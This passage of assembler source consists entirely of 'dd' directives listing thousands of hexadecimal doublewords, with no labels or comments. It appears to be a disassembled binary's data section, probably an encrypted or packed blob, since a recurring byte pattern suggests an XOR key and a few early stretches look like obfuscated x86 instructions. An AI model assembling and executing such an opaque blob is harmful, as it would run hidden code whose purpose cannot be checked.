		dd 0B6064ABEh, 4F022384h, 3558C956h, 0DFC02E7Ch, 0FCA3F5BCh
		dd 6002F159h, 28288970h, 5368F23Fh, 50D0E19Bh, 68396623h
		dd 6B278CC5h, 0C96C733Ch, 97049780h, 0E064070Eh, 0E19B62A6h
		dd 2E1620D0h, 0B3A62C69h, 47635C35h, 9840DA35h,	79BF5A20h
		dd 440D3093h, 6D2846DFh, 733E5FC0h, 17D6752Eh, 0DD423B76h
		dd 0D05FC0ABh, 141B8431h, 4988B071h, 928B6429h,	0C188AB14h
		dd 24E35Ch, 0D9070000h,	0F51D58F6h, 0D0E192B5h,	99064FEEh
		dd 43D57E80h, 0EC0AB058h, 57D75E5Ah, 9A0B24AFh,	3F68B5F8h
		dd 58FFB2F9h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	268240Ch, 89000027h
		dd 1A682434h, 89000058h, 0BF57240Ch, 513C7B8Ch,	71F8C9BEh
		dd 6C681B5h, 1142748h, 6EE81FEh, 5F142748h, 240C8B54h
		dd 5204C483h, 5189F289h, 24148B08h, 4C481h, 34FF0000h
		dd 0C4815924h, 4, 5624348Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 0EFE95C24h, 67FFFA04h, 20841BE4h, 0CD578A92h, 785AB8CEh
		dd 0C50306AEh, 8AEEE0FFh, 6E2D6FE2h, 81212D04h,	2DD16616h
		dd 8D8D1692h, 6AE79DFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 18C35545h, 20C2EB6Bh,	0DB1B960h, 21D19D89h
		dd 8D8906A8h, 6A805B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 6AC35545h, 146985C7h,	6E8C06A8h, 8D090000h
		dd 6A81FB5h, 0BBD85C7h,	6A8h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 7314F0C3h
		dd 85B5298Ah, 0E906A81Dh, 0Ch, 7399AED2h, 0C808EBF9h, 0BEF60D09h
		dd 5FDB5FFh, 858B06A8h,	6A820E1h, 20DD95FFh, 6A06A8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 9E592AC3h, 0AE58CAACh, 81DAE867h, 7E3D42C6h,	16BB6616h
		dd 0FF006A1Ch, 0A81B3195h, 0EBC08B06h, 4F77917Ah, 6FB759D5h
		dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h
		dd 0FEAFB719h, 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh
		dd 90B5A850h, 7463E8D6h, 0FCE283C2h, 2AE3680Fh,	6CB196F3h
		dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh,	366B1573h
		dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h
		dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 53C4A889h,	5DB17D3Ah
		dd 0EBB132AFh, 6F7BB354h, 0ABA2DA67h, 41393256h, 59A33A13h
		dd 2F2FAD77h, 8B3CA96Bh, 0FE13CB1Eh, 5D305419h,	36E9B3DBh
		dd 22BE3256h, 0D5B13241h, 0EAB120BFh, 40A3F056h, 0C8412996h
		dd 0FDD0E1B0h, 39EDA24Dh, 2FE242F2h, 0AAB3777Bh, 20B13256h
		dd 0EA443256h, 7AE75256h, 0BAB132DDh, 0DD16C56h, 0CFD0520Dh
		dd 0BEB13237h, 0ABB1325Ah, 455703D5h, 0DCA84F27h, 9E93F4A2h
		dd 0A8583256h, 0E9B13256h, 8E31778Ah, 7033F3E8h, 51DEA931h
		dd 0EDF33B61h, 3B1323Dh, 75B13259h, 0EFF1639Fh,	0A46D1AF5h
		dd 0D27E98D8h, 3B10CCEDh, 0ABB1687Ch, 60E3D36h,	0FA318830h
		dd 2E479A37h, 0BAB12256h, 5DBADB56h, 0DDAC3256h, 98ACC86Bh
		dd 0C46A8D7Fh, 0DE333DECh, 8AB13256h, 75B1B359h, 76313256h
		dd 5DB153A2h, 0AEBDBE59h, 50583256h, 2BB13256h,	26F74621h
		dd 0EAB174A4h, 75BEDB36h, 28673256h, 57BB6686h,	0A60F136h
		dd 0DBEACACh, 29BE5302h, 0D5B1325Bh, 0EA343D36h, 13B13256h
		dd 0E609C3D7h, 0A5B13237h, 0BC583256h, 8CB13256h, 5BF43E03h
		dd 216D87AAh, 0A3A5E4B2h, 6477371Ch, 53B13228h,	5DB13244h
		dd 0B312CA71h, 0C26686E8h, 598327DEh, 0AA0A1939h, 8CD1A6D2h
		dd 1329FFEEh, 7392DAD7h, 0B4B13237h, 0AEB1325Bh, 64FD30C4h
		dd 0FF3FC9B3h, 3EFBA0Eh, 1FB132C8h, 89D13256h, 8A25DCD7h
		dd 5DD024F3h, 0AEB1CE56h, 57B0B059h, 0AB493256h, 56BE5256h
		dd 0EAB13254h, 0FEBE14E0h, 0BAB13242h, 5DB13DBFh, 1EDF0256h
		dd 7CAC8C92h, 0ECC70007h, 66FB15B9h, 0EAB1CA37h, 75A6B159h
		dd 0A8583256h, 3EB13256h, 327C5EDh, 0AECD675Dh,	0B89F7FB8h
		dd 87647CF5h, 3B132D0h,	75B13244h, 0D4BA822Dh, 6F4F680Fh
		dd 15F50F7Bh, 353D78B0h, 0ABB14FC6h, 0D5B0BE59h, 0EA4D3256h
		dd 75B1CB56h, 0BAB0B559h, 5D483256h, 0AEA0DB56h, 14ED3256h
		dd 489A05EAh, 0FCF8E7E9h, 8DBA35F7h, 754C93A9h,	0B53B3D56h
		dd 0B4B13256h, 0AEB1325Ch, 76BC90DDh, 5D546667h, 0D5B1F070h
		dd 0EAB134BFh, 9142D256h, 0BAACA4F1h, 5DA2DB56h, 0F0B63256h
		dd 0C83FA6CDh, 5976E773h, 0BFC246C4h, 0C277F84Ch, 80B132DFh
		dd 0BAB13254h, 5AB13256h, 5982C46Eh, 0FC52C528h, 0C12C06EBh
		dd 3DD13256h, 0EAB1325Dh, 0BCB013EBh, 0B4DE9D38h, 3BADA304h
		dd 2C8BFBD7h, 5066530Ch, 0ABB4325Ch, 0D5BC3245h, 0EA973252h
		dd 0DAC323Bh, 349758F1h, 0CF1BA1CFh, 0BA583256h, 25B13256h
		dd 1DD256Dh, 0C39B6E43h, 0EE0A0082h, 0C44D3EC0h, 0BAC3CCCCh
		dd 0EE035256h, 0E557B330h, 0D9BE5342h, 0ABB13257h, 3CB132A3h
		dd 0EAB13242h, 9369C6Eh, 3CDA765h, 0DBA25183h, 0D05B44A9h
		dd 179844DAh, 0AB4D3256h, 0C33A3D56h, 8AB13256h, 75B13BBFh
		dd 92F5BE56h, 757391B1h, 20BE30B3h, 57B13256h, 0AA323D37h
		dd 20B13256h, 0EA483256h, 67B37B56h, 0B5B13256h, 5DB13ED2h
		dd 0AEB6DB56h, 0E3543256h, 6826E3C2h, 0DAB13228h, 0EAB138DCh
		dd 0B6305256h, 0BB2DF5DDh, 5DD0F5DDh, 0AEB37B56h, 9C843256h
		dd 91916E3Dh, 0F78D930Ah, 7139D92Fh, 0AC23DB38h, 0BAB18A36h
		dd 5DB13FBFh, 6EA5ED56h, 0AD26F056h, 3A6485D9h,	85E23F0Bh
		dd 0BAE36204h, 2F803D04h, 0EA803D0Eh, 7803D04h,	0A1E9680Eh
		dd 37E36267h, 0CB803D37h, 8FE96837h, 0CEB5BB0Eh, 817634B7h
		dd 0E0D2A04Bh, 0D23530Eh, 0FCE16006h, 66BE5336h, 0F3EB5336h
		dd 0D0580359h, 53B13256h, 1D6DA8h, 0E8246A0Ch, 5EB0359h
		dd 0FCE10359h, 0FEB0359h, 0F3EB6A0Ch, 0DA595206h, 0B1B13256h
		dd 4287E3AEh, 69733FF2h, 72BF3B46h, 0F5E1F76Ah,	0EB21530Fh
		dd 367AA813h, 45E96837h, 4A12E00Bh, 0B94E2C0Fh,	53803D43h
		dd 5DB13250h, 63D5C5A0h, 0FEBA1D4h, 0AF9576DFh,	0DF58AE36h
		dd 30B13256h, 0D3B0DA5Dh, 888CA6B1h, 236FB3D5h,	4781E485h
		dd 57B13242h, 503BC77Ah, 2E7434Eh, 99539F92h, 0BA9F9B66h
		dd 518B570Ah, 0CF0E62CBh, 0F5CFC353h, 57BD6A37h, 86F53256h
		dd 0FC01C134h, 0F6D7DF8h, 9D2C59ECh, 0BAB1325Dh, 4F2C4611h
		dd 0F028D2B5h, 9E43E69h, 20E96837h, 0D5BADB56h,	4E863256h
		dd 6562F05Bh, 869E3C5Fh, 79F5BB93h, 0F9D15252h,	57BFDA0Eh
		dd 0B40F3256h, 0EE7B073Ah, 0FD27830Eh, 0C693DF52h, 532D530Eh
		dd 5DB13242h, 85CB97CAh, 50F713DEh, 8636F62h, 2AAF6BF6h
		dd 0F19B279Ah, 8357B330h, 0BABDDB46h, 90D53256h, 6761A1D4h
		dd 0D24DDD98h, 0CA2C398Ch, 0D5B0BC0Eh, 0EA493256h, 75A2DB56h
		dd 16903256h, 0A1D3B221h, 35D3ABD9h, 0E802A2CEh, 9959BDB3h
		dd 54D75231h, 3FD40B6h,	75B13259h, 3D63349Ch, 19B4B206h
		dd 0DEB45615h, 36D3CC5Ch, 0AB4D3256h, 0D4353D56h, 12B13256h
		dd 894D3256h, 0EAD13256h, 52E86A06h, 0AED0C3E9h, 36445256h
		dd 0ABB134BFh, 0B330A056h, 0EA7B1764h, 0FEE75256h, 52306D87h
		dd 3B163A97h, 47B13237h, 57B13246h, 4955220Ah, 0E63C051h
		dd 48CBCB66h, 4A50C470h, 0B3583256h, 0BBB13256h, 2381BD6Bh
		dd 0E094433Eh, 23BE3256h, 0D5B1325Fh, 0EA323D36h, 8DB13256h
		dd 0B5B13237h, 5DB135D3h, 0AF3A3D56h, 0ABB13256h, 0A7583256h
		dd 7EB13256h, 0D935CE87h, 3D62EDCBh, 0BA54848Dh, 51303D56h
		dd 0A1B13256h, 57B134D7h, 0AB333D56h, 0D5B13256h, 0EAA3DB56h
		dd 17BC3256h, 39176911h, 0ABE930B0h, 7A997945h,	0ACEEA14Ah
		dd 1ED13256h, 0C3A54EDh, 3B13237h, 75B1325Dh, 1D91EDE2h
		dd 38362FD4h, 0AE1BCF40h, 57A5DB56h, 0BFAF3256h, 8B5830E7h
		dd 0FFE4C813h, 0E60055ABh, 0CC4E3D4h, 5DB13059h, 0AEB13FBFh
		dd 0F8EF4156h, 9C2AFD49h, 0ECFC0916h, 0EAB1FABDh, 75B134BFh
		dd 310B3156h, 52D348EFh, 0AEB135DEh, 56323D56h,	52B13256h
		dd 0DAD13256h, 8AD0E2E1h, 75B1BB59h, 0BAD03256h, 5DB1CE56h
		dd 0AEBCB659h, 5F583256h, 20B13256h, 97859EC6h,	0EA8418A3h
		dd 75B1CA56h, 46B132AEh, 0DBBE3256h, 0AEB13251h, 57B0BC59h
		dd 0AB4D3256h, 0C33C3D56h, 3B13256h, 75B13247h,	57A870E6h
		dd 0C65DBE8Ah, 737644E4h, 92651D32h, 0ABBADB6Ch, 26CA3256h
		dd 22BE1C7h, 0ACEA72C1h, 43B132A9h, 5DB126BFh, 3894A456h
		dd 7D70A4D5h, 611DAC0Fh, 3DD69C0Eh, 0F0F5248Ch,	80B132B2h
		dd 0BA483256h, 5DBBDB56h, 0FB4B3256h, 0E6D6CF43h, 0DE60B0C5h
		dd 5DBE3256h, 0EAB13258h, 75393D36h, 3BB13256h,	0F2580C9Fh
		dd 0AE49531Dh, 5B363D56h, 0A4B13256h, 0D5B134D8h, 0EA323D56h
		dd 75B13256h, 0BABFDB56h, 6A103256h, 94F28020h,	799072CBh
		dd 9A8F6329h, 0D5483256h, 0EB333D56h, 8DB13256h, 0B4583256h
		dd 95B13256h, 42E171C6h, 0F4625A89h, 2B9ED8h, 0DAB1325Ch
		dd 0EAB125D2h, 65585256h, 5DB13256h, 278755CAh,	11CB263Fh
		dd 0D9D3D874h, 0CA057ECBh, 0DE583256h, 5FB13256h, 8931A3B8h
		dd 8600F4F3h, 52587504h, 0C9B13256h, 5C071B32h,	9C044B12h
		dd 0A61CFCFCh, 0EAB1A09Bh, 0E6008836h, 5D7466Bh, 5DD0E8CAh
		dd 0AEBEDB56h, 0FA0C3256h, 3A685776h, 0E7B9578Fh, 367FD911h
		dd 7AB132F1h, 0BAB13ADFh, 0AA305256h, 0AAE083C8h, 37B13237h
		dd 0CA49E2DDh, 0D5483256h, 6BD75256h, 9D04E8B0h, 0BAB13251h
		dd 0C90B1079h, 0F52AF499h, 37B13237h, 0ABB13CBEh, 4F829956h
		dd 8E06AA1Eh, 0DC559FEFh, 411A11h, 3BB5B4E8h, 25D7630Dh
		dd 57D069A4h, 0ABA1DB56h, 41CE3256h, 4B0183A4h,	4D577B1Eh
		dd 2CB35E19h, 5DB1C4D4h, 0CEB132AFh, 57B2B759h,	20D73256h
		dd 58BE528Ch, 0EAB13256h, 14D06A07h, 0DCD13256h, 0B8E2D9D7h
		dd 0AEB123BEh, 852B6F56h, 3BCCECA5h, 8DE65DF8h,	0CC2AF2E3h
		dd 795826CBh, 75B13256h, 2ADA0675h, 89EA842Fh, 856E5F0h
		dd 0ABBCDB37h, 0BF8F3256h, 0FE862D71h, 79691DEEh, 0BA953EA8h
		dd 5DBEDB56h, 0F7733256h, 0DDD37C10h, 0AC5EAD1h, 1999C132h
		dd 8AB132B5h, 0E5F54FEEh, 0B8303D0Eh, 0EB13256h, 0AEB1530Eh
		dd 0E9D752AFh, 0A458A9CAh, 83B13256h, 0ED33D355h, 0DB6B2204h
		dd 1F2DB87h, 5DD0DE41h,	0B33D3D56h, 58B13256h, 0ABB125D8h
		dd 0D5A3DB56h, 6BFB3256h, 0D8F9D7B8h, 0C723DABh, 0D382ED6Bh
		dd 926FE2EAh, 0EF668136h, 9E0EECA9h, 29B13237h,	0EAB0BE59h
		dd 75483256h, 0BAB1CB56h, 5DA0B159h, 0CED13256h, 57B6DA37h
		dd 72833256h, 17BF6D96h, 0EAD06C73h, 6F3A3D56h,	0B5B13256h
		dd 5DB126DBh, 0AEBEDB56h, 0C3D83256h, 23845862h, 5B6B42E3h
		dd 716D7053h, 8CB13214h, 0BA483256h, 5DB1CE56h,	0AEA9B159h
		dd 44583256h, 16B13256h, 0EE93C44Fh, 98852EB1h,	55D9B434h
		dd 0C2A08A80h, 5DB1507Dh, 0DF42B236h, 36628559h, 0A4D13256h
		dd 0D5B132D0h, 0EF3B3D56h, 13B13256h, 0C418C4D7h, 5DB1CB37h
		dd 0AEB1CAAFh, 57B138BFh, 29ECF656h, 18CBE0FDh,	0EA1CC665h
		dd 75BEDB56h, 97533256h, 0F12853Bh, 700F55C2h, 20233514h
		dd 0A6333D40h, 0B5B13256h, 1A912FEFh, 326AB341h, 0DBBA4FFFh
		dd 52D13256h, 0AEB134D2h, 573E3D56h, 0CDB13256h, 0B48E28EFh
		dd 310E3D36h, 0A846B330h, 0BAB15349h, 0A4B132AAh, 0CEB132A3h
		dd 0AE6727E8h, 0BC313D45h
		dd 3CB13256h, 0EAB13244h, 240ECD53h, 5C504DA8h,	159096h
		dd 8198ADF4h, 57D07A55h, 0AA3C3D56h, 20B13256h,	0E1583256h
		dd 0BB13256h, 8B849F26h, 7AB63F56h, 0AE4865C4h,	5F3C3D56h
		dd 0A4B13256h, 0D5B130DEh, 0EAD05256h, 75B1CE56h, 0BAB0B559h
		dd 5D4D3256h, 0A8585256h, 0EB13256h, 6E8E838Dh,	0A256B3A5h
		dd 8BDB6652h, 61583256h, 62B13256h, 0EABA054Ah,	0E4CBE3D7h
		dd 3D0355BEh, 4B5E38D5h, 0D5DFA857h, 0CF3C3D56h, 15B13256h
		dd 0BAB122BFh, 0C4F43556h, 4CFFF48Eh, 49BBA28Fh, 0F157B95Fh
		dd 0D5B8DB23h, 54A3256h, 4FC3EEDDh, 0DB5918C0h,	0D3BE3256h
		dd 0AEB1325Ch, 0EE6AB236h, 0CD62B330h, 0D5B153A7h, 0E5B132AFh
		dd 75B122DBh, 0BABADB56h, 0BE3E3256h, 4B621895h, 0CDECBE0Dh
		dd 0BC393D84h, 0DAB13256h, 0EAB123DBh, 75BDDB56h, 96C13256h
		dd 354F6213h, 71230D5Eh, 57B134E8h, 0A4B132AFh,	0D5B135DFh
		dd 0EB353D56h, 8CB13256h, 0BA443256h, 0E4D75256h, 29BE830Ah
		dd 57B13255h, 0CA628559h, 5FBE3256h, 0EAB13240h, 75A1B259h
		dd 0B1583256h, 6BB13256h, 75B012Dh, 92504E4Bh, 0ABB1C7F3h
		dd 0D5B137BFh, 31BB5556h, 75B1309Eh, 0B4323DA3h, 0B4B13256h
		dd 0AEB1325Fh, 0B3453C8h, 3738052Ch, 0DAB13237h, 0EAB137D6h
		dd 0FED75256h, 0BAB15390h, 5DB135BFh, 0F2A6356h, 0AEEDC017h
		dd 28BE3256h, 0D5B13257h, 0EAA3DBAEh, 8B223256h, 4E1ABE1Fh
		dd 2AF67CF3h, 74ED57E3h, 7B577704h, 2EBE3256h, 0D5B13257h
		dd 0E5B132AFh, 75B133DCh, 0BAB1CB56h, 5DBBDB36h, 0D03F3256h
		dd 1847AE1Eh, 3E13718Ch, 0D5B3BF59h, 0B1E73256h, 9CB13237h
		dd 0BAB13250h, 0E6705B57h, 0AEB1D89Bh, 57B13BBFh, 8E71ED56h
		dd 6EA254C6h, 0EAB1FA91h, 75B139BFh, 629D0756h,	0C9F7BD75h
		dd 32FE5A9Dh, 0DFBE3256h, 0ABB1325Ch, 0D5B137BFh, 2B585D56h
		dd 75B1AE6Dh, 0BAB138BFh, 21390456h, 8CE30B74h,	0A29568E9h
		dd 0AC583256h, 0E4B13256h, 2B26DD21h, 75B1878Fh, 0BAB6DB36h
		dd 0CEC53256h, 3EBE0641h, 57B153F6h, 0ABB123BFh, 0B0BB8356h
		dd 0A4686A2Dh, 0BCAC1625h, 0A1BCFEE4h, 5DB1A359h, 0AEB138BFh
		dd 7AB0AF56h, 61196D9Ch, 0D5B0491Ah, 0FB585256h, 37B13256h
		dd 76740CABh, 51A24358h, 0A722947Dh, 0F4B15580h, 16B58C30h
		dd 2CB13237h, 0EA483256h, 75B1C756h, 53B132AAh,	5DB1325Dh
		dd 548C414Bh, 0E898FD4Bh, 0AB0B5D8Dh, 0D5A0DB56h, 0DBB53256h
		dd 9BDB4DF7h, 2603CBEEh, 59BAC416h, 0A12C3FB0h,	57B129DAh
		dd 0BE3A3D56h, 3CB13256h, 0EAB13246h, 1A69ACh, 19BEEF1Eh
		dd 3EC530FCh, 0DFF17FF6h, 50583256h, 64B13256h,	21C22C22h
		dd 0EAB12A3Bh, 75B8BC59h, 4FD13256h, 5367D2D7h,	0AED02C49h
		dd 57B1CE56h, 52063D36h, 0D5B153AAh, 18306236h,	404EB66Ah
		dd 0BB373D08h, 0A1B13256h, 0A1B13237h, 57B13CDFh, 0ABB8DB56h
		dd 930D3256h, 2FCC37DDh, 751EF25Fh, 0B23B3D56h,	52B13256h
		dd 0AEB130DEh, 57D05256h, 0ABB1CB56h, 0D5A5DB36h, 29D93256h
		dd 43B3FE4Fh, 4DD81D39h, 83DD99B2h, 49DB4CF6h, 364D3383h
		dd 0AB4D3256h, 0D5B1C756h, 0E53C3DAAh, 9CB13256h, 0BAB1325Ch
		dd 753DB08h, 3CF4BFh, 57B12CD4h, 0ABB134BFh, 0D8A5B856h
		dd 0EAB89305h, 75A0DB56h, 0C1023256h, 7EDD6CC8h, 0F4FBEE55h
		dd 0E2174717h, 0AB4EE518h, 0D5B1CA56h, 3B132A3h, 75B1325Ah
		dd 97EF7383h, 0E984DC87h, 0E23C7E72h, 0DCD13256h, 0ABB1538Eh
		dd 0D5BEDB36h, 2EB33256h, 13951456h, 542624A9h,	20EEF775h
		dd 59063DF1h, 0BEB13237h, 0ABB1325Ch, 66A77138h, 3AF87833h
		dd 75B148B3h, 0BF303D36h, 3BB13256h, 9944E8D7h,	7859B330h
		dd 0ABB15314h, 0D5BDB459h, 69BE3256h, 75B13250h, 0BAB1BB59h
		dd 5DB13256h, 0AEB135BFh, 0AA4FED56h, 0D6A139D4h, 3CD13256h
		dd 0EAB1325Ch, 0ADB14403h, 205402C1h, 923A749Ch, 0CEB13237h
		dd 57BBB959h, 0AE583256h, 0DCB13256h, 7CE91003h, 75B13FBFh
		dd 47FA5456h, 6947E1DBh, 0F52D290Ah, 37D0F9F3h,	0ABB3B759h
		dd 0B4D13256h, 0EAB3B159h, 2FE33256h, 4FB13237h, 5DB8B659h
		dd 0C8D13256h, 314BB3EFh, 0ABD0C9DDh, 0D5BFDB56h, 0E78E3256h
		dd 0BBED00Ah, 7B923889h, 571CEFBh, 0BF583256h, 77B13256h
		dd 8C0A012Ch, 3E02CE10h, 17812D1Ch, 17DEE182h, 3EBE3256h
		dd 5DB13245h, 0AEB13CBFh, 5E9E3D56h, 1DF97A3Ch,	7A354AB2h
		dd 0EAC6A5F3h, 75A3DB56h, 1BD63256h, 8D903803h,	0B7C5C21Bh
		dd 0C85AF4C9h, 70BA59AEh, 0B3D13256h, 63E1E4D7h, 743E3D37h
		dd 4FB13256h, 57583256h, 0A9B13256h, 7D7F6379h,	810B72E6h
		dd 29B13232h, 8A4D3256h, 75B122BFh, 3DDCCF56h, 9D0347E3h
		dd 341AB828h, 96F80F06h, 0ABD0C7CDh, 5BBE5256h,	0EAB13254h
		dd 9DD16801h, 0BAB13251h, 0E9687C89h, 0F6ECC57Eh, 0FA158C30h
		dd 0ABB15337h, 0DAB132AFh, 0EAB13AD5h, 773B3D56h, 0DAB13256h
		dd 95005237h, 0C962FCD7h, 57D03FF6h, 0ABA5DB56h, 0F58D3256h
		dd 94DB1D0Ch, 2926965Ah, 0BAD5D2FAh, 9E1C2CD0h,	0AEB1C95Ah
		dd 52353D36h, 15B13256h, 0E94BD2EDh, 0C3F18C30h, 89B13237h
		dd 0B6583256h, 54B13256h, 8278ADD4h, 6F5E205Ah,	5E0189D8h
		dd 54D13256h, 9BE8119Ch, 75BFDA30h, 0A5423256h,	0A132F675h
		dd 53CB5008h, 17A56D70h, 0CAEE4BE6h, 0D8583256h, 1AB13256h
		dd 5A05048Fh, 2768AB72h, 0D0F6C66Bh, 47D13256h,	57B13244h
		dd 0E93495BFh, 9491DB0Ah, 2728F295h, 37184B86h,	2E2E3CEh
		dd 6A8A3A3Bh, 0AEB15309h, 0C60A5436h, 0ABB6DB09h, 925C3256h
		dd 2534E07Ah, 75B15377h, 0BAB122BFh, 0FCD44A56h, 77FDA2BDh
		dd 23E3719Ch, 7D3471E5h, 29B132DDh, 3D13256h, 75B13245h
		dd 8E16D012h, 367579C9h, 2E81FEB1h, 20AF6273h, 136F9E64h
		dd 8BA96140h, 0EB3C3D37h, 8DB13256h, 38BE3256h,	5DB13250h
		dd 19BECE36h, 57B1539Ch, 0ABB135BFh, 44232356h,	5C2A428Ah
		dd 9CD13256h, 0BAB13247h, 64B0C3DCh, 0DCB4CC61h, 0B2CF47FFh
		dd 6C294A4Eh, 0D6323DC9h, 0E5B13256h, 8DD0E4E1h, 3CBE3256h
		dd 5DB13257h, 25E252AFh, 983A6895h, 0CBB13237h,	544E8559h
		dd 0D54576BCh, 0F4D1531Ah, 555248BFh, 5DB15361h, 0AEB13ABFh
		dd 60301756h, 23286780h, 0D5A0DB9Fh, 5DCB3256h,	23673400h
		dd 183FD341h, 0EF498224h, 0AEC4DDD3h, 57B1C756h, 0ABB122BFh
		dd 7A334B56h, 26E9AA85h, 727B5765h, 75FD4CFCh, 0A8B13258h
		dd 0AEB9B059h, 58D13256h, 0ABB132DAh, 0D5B15356h, 0EAB9BB59h
		dd 0F4BE3256h, 0BAB13254h, 5DB15336h, 0CF46B936h, 57493256h
		dd 0A158CA56h, 0C9B13256h, 94EAB74h, 3810065h, 0B5B132A3h
		dd 5DB13EDCh, 0A83B3D56h, 58B13256h, 0ABB132DDh, 0D5B1CA56h
		dd 0EAB9BC59h, 8DD13256h, 0AC2D9BEEh, 5DB15311h, 0AEBDB759h
		dd 0DCBE3256h, 0ABB13250h, 0D5B1B459h, 0EAB13256h, 75B9DB36h
		dd 0EFF23256h, 49297D72h, 0C8E028CDh, 0AF79E9D7h, 0ABB1530Fh
		dd 0D43B3DA3h, 1FB13256h, 7A583256h, 0CBB13256h, 3EA2DC91h
		dd 38677467h, 1BD2B228h, 0ABB1B6D4h, 0D5B13DBFh, 5EC1DD56h
		dd 0A19D4367h, 9D41A456h, 743ADF3h, 0A1D13256h,	57B131DEh
		dd 0A57FB256h, 3CB13237h, 0EAB13250h, 56F310B1h, 0BAB189AFh
		dd 5DBCBA59h, 0A1D13256h, 57B132DFh, 48305456h,	0D5D04242h
		dd 65BE5256h, 75B13253h, 5E5B4EDh, 5DB15300h, 0AEB1C7AFh
		dd 58B132AEh, 0ABB127DBh
		dd 0D5A1DB56h, 46213256h, 5F447062h, 7FAC7A63h,	28FC0DBFh
		dd 0AEB1ED6Ch, 0BEB132A3h, 0ABB13251h, 0ABAD635Bh, 3070B98h
		dd 75B1325Ah, 0B1BC0E0Ch, 0EE954BA3h, 9EF4925h,	51583256h
		dd 4AB13256h, 526A2596h, 0E5B13295h, 75B124D4h,	0BAA0DB56h
		dd 0D43E3256h, 69273392h, 91EF8AEBh, 0A8C0AC32h, 0D5B9EBBCh
		dd 3D1CA56h, 75B1325Ch,	3432FC7Eh, 674DCD1Ah, 0A35969A6h
		dd 0AAB13256h, 938F949Ah, 2A6AE21h, 231FB0C8h, 75B13BBFh
		dd 971B0656h, 484807B3h, 0CFEB9DBFh, 0D8BE3256h, 0ABB13257h
		dd 3CB132AAh, 0EAB13247h, 0EB2A2A18h, 0C484EA28h, 432DC2F3h
		dd 96A3E5BDh, 0BEB1328Dh, 0ABB13250h, 3A83D23Ch, 0EAB1FE8Eh
		dd 9CB132AAh, 0BAB13245h, 1F6758E1h, 2AF9C419h,	6E07E529h
		dd 64568658h, 0DAA297A5h, 0EAB13BD0h, 0F4D75256h, 301120B9h
		dd 5DB153ABh, 0A9353DAAh, 58B13256h, 0ABB133DCh, 0D5B1CB56h
		dd 0EAB120BFh, 3646EC56h, 0AAD216FFh, 52AC88B3h, 0F4471B5h
		dd 57FDE3CDh, 20D75256h, 0D5B15391h, 0EABBDB36h, 0F20E3256h
		dd 47D770A1h, 7048EFACh, 0CF7FB930h, 43583256h,	5FB13256h
		dd 0DC4899Fh, 728AFFA4h, 0A99E2E66h, 88A66360h,	5D616A5Ah
		dd 0AEB7DB56h, 52D93256h, 89A523EAh, 0B3D13256h, 124D35EEh
		dd 75B1CB37h, 0BAB13CBFh, 4B1DB856h, 0EE5E58E0h, 0F60FB215h
		dd 577A1E58h, 54D13256h, 9A2FDD90h, 92E88963h, 0BAD0545Eh
		dd 5DB9DB56h, 71743256h, 0B0E1B61Dh, 0ABB18B4Dh, 0B449C736h
		dd 0E3583256h, 78B13256h, 691F1E95h, 0B2F8413Fh, 0AEBBB659h
		dd 52583256h, 0AAB13256h, 3612640Ch, 66BE3256h,	75B13251h
		dd 0BAB0B859h, 5D443256h, 0AF363D56h, 0A2B13256h, 2DBE3256h
		dd 0D5B13257h, 0E5B132AAh, 75B133D1h, 0BAB1CA56h, 4A383D36h
		dd 47B13256h, 57B13244h, 4C3D7776h, 0FCE75201h,	0A1221A36h
		dd 98ED14FEh, 0AE58E597h, 0EEB13256h, 4FD70C7Ah, 0D6C786D9h
		dd 0CC5FC134h, 0A3D2D0FEh, 8BE9D120h, 1473B936h, 0BA4D3256h
		dd 0EABE5256h, 63638C98h, 57D0604Ch, 0ABB1CB56h, 0D5B138BFh
		dd 4B8AE656h, 0BA29C2B7h, 0BA40EA2Ch, 51373D56h, 0A1B13256h
		dd 57B134D3h, 0AB323D56h, 0D5B13256h, 0EAB1C756h, 75B0BC59h
		dd 0BA4D3256h, 5DA5DB56h, 6C3B3256h, 35D66A1Fh,	3E76CCBFh
		dd 0B93193AEh, 1E14880Bh, 75B11499h, 0BAA6BB59h, 4F583256h
		dd 53B13256h, 6A07F159h, 173F0189h, 48DEC86h, 1F68B3B9h
		dd 80B132A9h, 3DBE3256h, 5DB13257h, 0CEB132AEh,	57B3B459h
		dd 0CAD13256h, 0B5B13237h, 0EAD0F8DCh, 75B1CE56h, 0BAB135BFh
		dd 183CD556h, 0F9C5C01h, 0DEBE3256h, 0ABB13251h, 0D5B0BC59h
		dd 3443256h, 75B1325Ah,	24BF3163h, 9962A92Dh, 0EDA721E5h
		dd 51583256h, 29B13256h, 0D3232D1h, 51D75256h, 0A7302244h
		dd 0D4AC7D29h, 0B4B13237h, 0AEB13253h, 2F059B65h, 0A4B13222h
		dd 0D5B13CDAh, 0EAB8DB56h, 0CF5E3256h, 98062489h, 5DB3CDA4h
		dd 25D75256h, 57B153A5h, 0ABB1CAAAh, 0DAB132A3h, 0EAB12FD6h
		dd 9D495256h, 0BAB13242h, 0F3AAD4FCh, 0C96801D6h, 0F19720FBh
		dd 37BD84F6h, 0CDC4C9CCh, 0EAB1530Fh, 15B132AFh, 0BAB121BEh
		dd 0DEA99456h, 760098A6h, 0B4194CB8h, 87B0BBCh,	0D3370A61h
		dd 0EAB1B359h, 0C5EB3256h, 0BAB153F6h, 5DB0B359h, 0AE443256h
		dd 45323D56h, 0A4B13256h, 0D5B13ED3h, 0EAB6DB56h, 5A123256h
		dd 29C4AE8Bh, 5DB1CB50h, 0AEA1B059h, 0DEBE3256h, 0ABB1325Ch
		dd 0D5B137BFh, 3060D356h, 75B1CA63h, 0BAB122BFh, 4FCEEB56h
